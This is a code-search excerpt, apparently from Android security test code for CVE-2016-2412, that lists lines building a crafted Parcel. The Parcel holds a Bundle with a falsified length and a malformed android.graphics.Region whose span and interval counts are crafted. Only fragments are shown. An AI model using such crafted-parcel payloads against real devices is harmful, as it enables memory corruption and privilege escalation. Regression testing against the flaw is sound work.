Home | History | Annotate | Download | only in CVE-2016-2412

Lines Matching refs:pData

28 static void writeParcelableHead(Parcel *pData, const char *class_name) {
35 pData->writeString16(String16((const char *)buffer));
36 pData->writeInt32(VAL_PARCELABLE);
37 pData->writeString16(String16(class_name));
40 void writeRegion(Parcel *pData) {
41 pData->writeInt32(100); // length of region;
42 pData->writeInt32(
44 pData->writeInt32(0xf); // fBounds
45 pData->writeInt32(0xf); // YSpanCount
46 pData->writeInt32(0xf); // IntervalCount
51 pData->write(buffer, sizeof(buffer));
54 static void writeBundle(Parcel *pData, int type) {
55 size_t lengthPos = pData->dataPosition();
56 pData->writeInt32(0xfffff);
58 pData->writeInt32(BUNDLE_MAGIC);
59 size_t startPos = pData->dataPosition();
62 pData->writeInt32(1); // from writeArrayMapInternal,object numbers in bundle
63 writeParcelableHead(pData, "android.graphics.Region");
64 writeRegion(pData);
69 size_t endPos = pData->dataPosition();
71 pData->setDataPosition(lengthPos);
73 pData->writeInt32(length);
74 pData->setDataPosition(endPos);